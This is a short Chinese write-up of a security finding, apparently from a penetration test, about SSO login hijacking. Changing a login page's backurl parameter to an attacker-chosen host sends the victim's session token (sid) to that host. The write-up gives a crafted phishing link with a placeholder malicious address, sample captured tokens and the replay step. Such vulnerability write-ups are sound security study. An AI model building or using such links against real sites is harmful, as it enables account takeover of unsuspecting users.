sso登陆劫持漏洞

引子

最近项目遇到这个漏洞,但是我没有发现。。

正文

参考资料:

sso单点登陆,用户一次登陆,所有系统都可访问。

sso设计目的是简化登陆方式,可能有很多系统,但是多个系统都是一个机构的,每个系统每次都要分别登陆就很复杂。

举个例子,OpenID是一个很流行的sso框架,

用户提交1. openID 2.openID Provider(提供者)

网站重定向到openID provider认证,登陆成功后,再重定向回网站。

这里可以理解为,门卫不知道你是谁,然后让你去某某处盖章,你去盖章完成后回到门卫处,门外验证红章没问题就让你通过。

案例

1
http://abc.com/public/pages/login/index.html?backurl=http%3A%2F%2Fabc.com%2FAccount%2FLogin%3FReturnUrl%3D%252f&app=YuLinTu

此处有一个参数backurl=abc.com,当修改此参数为backurl=abc.com.test

网页向abc.com.test,也就是openID Provider(提供者)提交一串openID。

提交后,网页提示无法连接abc.com.test,并且抓取到了一段数据包,包含了登陆成功的token。

由于客户可以伪造openID Provider(提供者),此处产生了sso登陆劫持漏洞。下列的sid是token。如果使用以下token,再次访问http://abc.com.test/Account/Login,可以发现已经登陆。

1
2
http://abc.com.test/Account/Login?ReturnUrl=%2f&sid=c4d4e77e80ad1ee5c682
8122a38b90d18077aeea4feb963a6c465e4691f65e767f11f935de6c3616

攻击方式

攻击者可以将backurl修改为自己的地址,然后发送恶意连接
http://abc.com/public/pages/login/index.html?backurl=http%3A%2F%2F恶意地址%2FAccount%2FLogin%3FReturnUrl%3D%252f&app=YuLinTu

一旦受害者点击链接,并输入正确的用户名和密码。恶意地址会收到如下的get请求“GET /Account/Login?ReturnUrl=%2f&sid=96c2182d0da29dc720fab468734fef9e47ced2993df16fda6b03c98e92f6e77475b4cf56623430d6 ”

攻击者就可以使用token sid=xxx,以受害者的身份进行登陆abc.com。